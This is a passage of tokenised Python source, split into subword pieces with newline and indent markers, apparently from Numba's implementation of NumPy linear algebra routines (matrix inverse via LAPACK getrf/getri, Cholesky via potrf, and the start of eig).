"voi", "d\\u", "p_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lw", "ork", "_", ",_", "info_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check", "\\u", "lap", "ack", "\\u", "return_", "(_", "context_", ",_", "builder_", ",_", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mat", "\\u", "inv_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Invert", " ", "a", " ", "matrix", " ", "through", " ", "the", " ", "use", " ", "of", " ", "its", " ", "LU", " ", "decomposition", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xt", "y_", "=_", "sig_", "._", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dtype_", "=_", "xt", "y_", "._", "dtype_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "=_", "make", "\\u", "array_", "(_", "xt", "y_", ")_", "(_", "context_", ",_", "builder_", ",_", "args_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x", "\\u", "shapes_", "=_", "cg", "utils_", "._", "unpack", "\\u", "tuple_", "(_", "builder_", ",_", "x_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", ",_", "n_", "=_", "x", "\\u", "shapes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check", "\\u", "c\\u", "int_", "(_", "context_", ",_", "builder_", ",_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check", "\\u", "c\\u", "int_", "(_", "context_", ",_", "builder_", ",_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Allocate", " ", "the", " ", "return", " ", "array", " ", "(", "Num", "py", " ", "neve", "r", " ", "works", " ", "in", " ", "place", " ", "contra", "ry", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sci", "py", " ", "for", " ", "whi", "ch", " ", "one", " ", "can", " ", "speci", "fy", " ", "to", " ", "whe", "ther", " ", "or", " ", "not", " ", "to", " ", "overwrit", "e", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "create", "\\u", "out_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", ",_", "n_", "=_", "a_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "m_", "!=_", "n_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "numpy_", "._", "linalg_", "._", "Lin", "Alg", "Error_", "(_", "\"", "Las", "t", " ", "2", " ", "dimension", "s", " ", "of", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "the", " ", "array", " ", "must", " ", "be", " ", "square", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "a_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "out_", "=_", "context_", "._", "compile", "\\u", "internal_", "(_", "builder_", ",_", "create", "\\u", "out_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "signature_", "(_", "sig_", "._", "return", "\\u", "type_", ",_", "*_", "sig_", "._", "args_", ")_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "o_", "=_", "make", "\\u", "array_", "(_", "xt", "y_", ")_", "(_", "context_", ",_", "builder_", ",_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Allocate", " ", "the", " ", "array", " ", "in", " ", "whi", "ch", " ", "the", " ", "piv", "ot", " ", "indice", "s", " ", "are", " ", "store", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "ipi", "v", "\\u", "t_", "=_", "types_", "._", "Array_", "(_", "types_", "._", "int", "c_", ",_", "1_", ",_", "'", "C", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "\\u", "empty", "\\u", "nd", "\\u", "impl_", "(_", "context_", ",_", "builder_", ",_", "ipi", "v", "\\u", "t_", ",_", "(_", "m_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ipi", "v_", "=_", "i_", "._", "\\u", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "info_", "=_", "cg", "utils_", "._", "allo", "ca", "\\u", "once_", "(_", "builder_", ",_", "intp", "\\u", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Compute", " ", "the", " ", "LU", " ", "decomposition", " ", "of", " ", "the", " ", "matrix", "._", "\\u\\u\\uNL\\u\\u\\u_", "call", "\\u", "xx", "getr", "f_", "(_", "context_", ",_", "builder_", ",_", "xt", "y_", ",_", "x", "\\u", "shapes_", ",_", "o_", "._", "data_", ",_", "i_", "._", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "info", "\\u", "val_", "=_", "builder_", "._", "load_", "(_", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zero_", "=_", "info", "\\u", "val_", "._", "type_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lap", "ack", "\\u", "error_", "=_", "builder_", "._", "icmp", "\\u", "signed_", "(_", "'!='_", ",_", "info", "\\u", "val_", ",_", "zero_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "invalid", "\\u", "arg_", "=_", "builder_", "._", "icmp", "\\u", "signed_", "(_", "'<'_", ",_", "info", "\\u", "val_", ",_", "zero_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "builder_", "._", "if", "\\u", "then_", "(_", "lap", "ack", "\\u", "error_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "context_", "._", "nr", "t", "\\u", "decre", "f_", "(_", "builder_", ",_", "ipi", "v", "\\u", "t_", ",_", "ipi", "v_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "builder_", "._", "if", "\\u", "else_", "(_", "invalid", "\\u", "arg_", ")_", "as_", "(_", "then_", ",_", "other", "wise_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise", "\\u", "err_", "=_", "context_", "._", "call", "\\u", "conv_", "._", "return", "\\u", "user", "\\u", "exc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "then_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise", "\\u", "err_", "(_", "builder_", ",_", "Value", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "One", " ", "argu", "ment", " ", "pass", "ed", " ", "to", " ", "getr", "f", " ", "is", " ", "invalid", "'_", ",_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "other", "wise_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise", "\\u", "err_", "(_", "builder_", ",_", "Value", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "Matrix", " ", "is", " ", "singular", " ", "and", " ", "cann", "ot", " ", "be", " ", "inverted", "'_", ",_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Compute", " ", "the", " ", "optim", "al", " ", "lw", "ork", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lw", "ork", "_", "=_", "make", "\\u", "constant", "\\u", "slot_", "(_", "context_", ",_", "builder_", ",_", "types_", "._", "int", "c_", ",_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "work_", "=_", "cg", "utils_", "._", "allo", "ca", "\\u", "once_", "(_", "builder_", ",_", "context_", "._", "get", "\\u", "value", "\\u", "type_", "(_", "xt", "y_", "._", "dtype_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "\\u", "xx", "getr", "i_", "(_", "context_", ",_", "builder_", ",_", "xt", "y_", ",_", "x", "\\u", "shapes_", ",_", "o_", "._", "data_", ",_", "i_", "._", "data_", ",_", "work_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lw", "ork", "_", ",_", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "info", "\\u", "val_", "=_", "builder_", "._", "load_", "(_", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lap", "ack", "\\u", "error_", "=_", "builder_", "._", "icmp", "\\u", "signed_", "(_", "'!='_", ",_", "info", "\\u", "val_", ",_", "zero_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "builder_", "._", "if", "\\u", "then_", "(_", "lap", "ack", "\\u", "error_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "context_", "._", "nr", "t", "\\u", "decre", "f_", "(_", "builder_", ",_", "ipi", "v", "\\u", "t_", ",_", "ipi", "v_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise", "\\u", "err_", "=_", "context_", "._", "call", "\\u", "conv_", "._", "return", "\\u", "user", "\\u", "exc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise", "\\u", "err_", "(_", "builder_", ",_", "Value", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "One", " ", "argu", "ment", " ", "pass", "ed", " ", "to", " ", "getr", "i", " ", "is", " ", "invalid", "'_", ",_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Allocate", " ", "a", " ", "work", " ", "array", " ", "of", " ", "the", " ", "optim", "al", " ", "size", " ", "as", " ", "compute", "d", " ", "by", " ", "getr", "i", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "allocate", "\\u", "work_", "(_", "x_", ",_", "size_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Allocate", " ", "the", " ", "work", " ", "array", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "size_", "=_", "int_", "(_", "1.01", "_", "*_", "size_", "._", "real_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "numpy_", "._", "empty_", "(_", "(_", "size_", ",_", ")_", ",_", "dtype_", "=_", "x_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "wt", "y_", "=_", "types_", "._", "Array_", "(_", "dtype_", ",_", "1_", ",_", "'", "C", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "work_", "=_", "context_", "._", "compile", "\\u", "internal_", "(_", "builder_", ",_", "allocate", "\\u", "work_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "signature_", "(_", "wt", "y_", ",_", "xt", "y_", ",_", "dtype_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "args_", "[_", "0_", "]_", ",_", "builder_", "._", "load_", "(_", "work_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "w_", "=_", "make", "\\u", "array_", "(_", "wt", "y_", ")_", "(_", "context_", ",_", "builder_", ",_", "work_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w", "\\u", "shapes_", "=_", "cg", "utils_", "._", "unpack", "\\u", "tuple_", "(_", "builder_", ",_", "w_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lw_", ",_", "=_", "w", "\\u", "shapes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "builder_", "._", "store_", "(_", "context_", "._", "cast_", "(_", "builder_", ",_", "lw_", ",_", "types_", "._", "intp", "_", ",_", "types_", "._", "int", "c_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lw", "ork", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Compute", " ", "the", " ", "matrix", " ", "inv", "erse", "._", "\\u\\u\\uNL\\u\\u\\u_", "call", "\\u", "xx", "getr", "i_", "(_", "context_", ",_", "builder_", ",_", "xt", "y_", ",_", "x", "\\u", "shapes_", ",_", "o_", "._", "data_", ",_", "i_", "._", "data_", ",_", "w_", "._", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lw", "ork", "_", ",_", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "info", "\\u", "val_", "=_", "builder_", "._", "load_", "(_", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lap", "ack", "\\u", "error_", "=_", "builder_", "._", "icmp", "\\u", "signed_", "(_", "'!='_", ",_", "info", "\\u", "val_", ",_", "zero_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "invalid", "\\u", "arg_", "=_", "builder_", "._", "icmp", "\\u", "signed_", "(_", "'<'_", ",_", "info", "\\u", "val_", ",_", "zero_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "context_", "._", "nr", "t", "\\u", "decre", "f_", "(_", "builder_", ",_", "wt", "y_", ",_", "work_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "context_", "._", "nr", "t", "\\u", "decre", "f_", "(_", "builder_", ",_", "ipi", "v", "\\u", "t_", ",_", "ipi", "v_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "builder_", "._", "if", "\\u", "then_", "(_", "lap", "ack", "\\u", "error_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "builder_", "._", "if", "\\u", "else_", "(_", "invalid", "\\u", "arg_", ")_", "as_", "(_", "then_", ",_", "other", "wise_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise", "\\u", "err_", "=_", "context_", "._", "call", "\\u", "conv_", "._", "return", "\\u", "user", "\\u", "exc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "then_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise", "\\u", "err_", "(_", "builder_", ",_", "Value", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "One", " ", "argu", "ment", " ", "pass", "ed", " ", "to", " ", "getr", "i", " ", "is", " ", "invalid", "'_", ",_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "other", "wise_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise", "\\u", "err_", "(_", "builder_", ",_", "Value", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "Matrix", " ", "is", " ", "singular", " ", "and", " ", "cann", "ot", " ", "be", " ", "inverted", "'_", ",_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "impl", "\\u", "ret", "\\u", "new", "\\u", "ref_", "(_", "context_", ",_", "builder_", ",_", "sig_", "._", "return", "\\u", "type_", ",_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "lower", "\\u", "builtin_", "(_", "numpy_", "._", "linalg_", "._", "inv_", ",_", "types_", "._", "Array_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "inv_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "np", ".", "linalg", ".", "inv", "(", "a", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ensure", "\\u", "lap", "ack_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ndims_", "=_", "sig_", "._", "args_", "[_", "0_", "]_", "._", "ndim_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ndims_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "mat", "\\u", "inv_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "jit_", "(_", "nop", "ython_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "check", "\\u", "finite", "\\u", "matrix_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "v_", "in_", "numpy_", "._", "ndi", "ter_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "numpy_", "._", "isfinite_", "(_", "v_", "._", "item_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "numpy_", "._", "linalg_", "._", "Lin", "Alg", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Array", " ", "must", " ", "not", " ", "contain", " ", "inf", "s", " ", "or", " ", "Na", "Ns", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "check", "\\u", "linalg", "\\u", "matrix_", "(_", "a_", ",_", "func", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "isinstance_", "(_", "a_", ",_", "types_", "._", "Array_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Typ", "ing", "Error_", "(_", "\"", "np", ".", "linalg", ".", "%", "s", "()", " ", "only", " ", "support", "ed", " ", "for", " ", "array", " ", "types", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "%_", "func", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "a_", "._", "ndim_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Typ", "ing", "Error_", "(_", "\"", "np", ".", "linalg", ".", "%", "s", "()", " ", "only", " ", "support", "ed", " ", "on", " ", "2", "-", "D", " ", "arrays", ".\"_", "\\u\\u\\uNL\\u\\u\\u_", "%_", "func", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "a_", "._", "dtype_", ",_", "(_", "types_", "._", "Float_", ",_", "types_", "._", "Complex_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Typ", "ing", "Error_", "(_", "\"", "np", ".", "linalg", ".", "%", "s", "()", " ", "only", " ", "support", "ed", " ", "on", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "float", " ", "and", " ", "complex", " ", "arrays", ".\"_", "%_", "func", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "overload", "_", "(_", "numpy_", "._", "linalg_", "._", "choles", "ky_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "cho", "\\u", "impl_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ensure", "\\u", "lap", "ack_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "check", "\\u", "linalg", "\\u", "matrix_", "(_", "a_", ",_", "\"", "choles", "ky", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xx", "pot", "rf", "\\u", "sig_", "=_", "types_", "._", "int", "c_", "(_", "types_", "._", "int8_", ",_", "types_", "._", "int8_", ",_", "types_", "._", "intp", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "CP", "oint", "er_", "(_", "a_", "._", "dtype_", ")_", ",_", "types_", "._", "intp", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xx", "pot", "rf_", "=_", "types_", "._", "Exter", "nal", "Function_", "(_", "\"", "numb", "a", "\\u", "xx", "pot", "rf", "\"_", ",_", "xx", "pot", "rf", "\\u", "sig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "kind_", "=_", "ord_", "(_", "get", "\\u", "bla", "s", "\\u", "kind_", "(_", "a_", "._", "dtype_", ",_", "\"", "choles", "ky", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UP_", "=_", "ord_", "(_", "'", "U", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "LO", "_", "=_", "ord_", "(_", "'", "L", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "cho", "\\u", "impl_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "a_", "._", "shape_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "a_", "._", "shape_", "[_", "-_", "2_", "]_", "!=_", "n_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "\"", "Las", "t", " ", "2", " ", "dimension", "s", " ", "of", " ", "the", " ", "array", " ", "must", " ", "be", " ", "square", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "numpy_", "._", "linalg_", "._", "Lin", "Alg", "Error_", "(_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "output", " ", "is", " ", "allocated", " ", "in", " ", "C", " ", "order_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "out_", "=_", "a_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Pass", " ", "UP", " ", "sinc", "e", " ", "xx", "pot", "rf", "()", " ", "operate", "s", " ", "in", " ", "F", " ", "order_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "semantics", " ", "ensure", " ", "this", " ", "works", " ", "fine", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "out", " ", "is", " ", "reall", "y", " ", "its", " ", "Her", "mit", "ian", " ", "in", " ", "F", " ", "order", ",", " ", "but", " ", "UP", " ", "instruct", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "xx", "pot", "rf", " ", "to", " ", "compute", " ", "the", " ", "Her", "mit", "ian", " ", "of", " ", "the", " ", "upper", " ", "triangle_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "=>", " ", "the", "y", " ", "cancel", " ", "each", " ", "other", ")_", "\\u\\u\\uNL\\u\\u\\u_", "r_", "=_", "xx", "pot", "rf_", "(_", "kind_", ",_", "UP_", ",_", "n_", ",_", "out_", "._", "ctypes_", ",_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "r_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fat", "al", "\\u", "error", "\\u", "func_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "0_", "#", " ", "unreachable", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "r_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "numpy_", "._", "linalg_", "._", "Lin", "Alg", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Matrix", " ", "is", " ", "not", " ", "posit", "ive", " ", "definit", "e", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Zero", " ", "out", " ", "upper", " ", "triangle", ",", " ", "in", " ", "F", " ", "order_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "col_", "in_", "range_", "(_", "n_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "[_", ":_", "col_", ",_", "col_", "]_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "out_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "cho", "\\u", "impl_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "overload", "_", "(_", "numpy_", "._", "linalg_", "._", "eig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "eig", "\\u", "impl_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ensure", "\\u", "lap", "ack_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "check", "\\u", "linalg", "\\u", "matrix_", 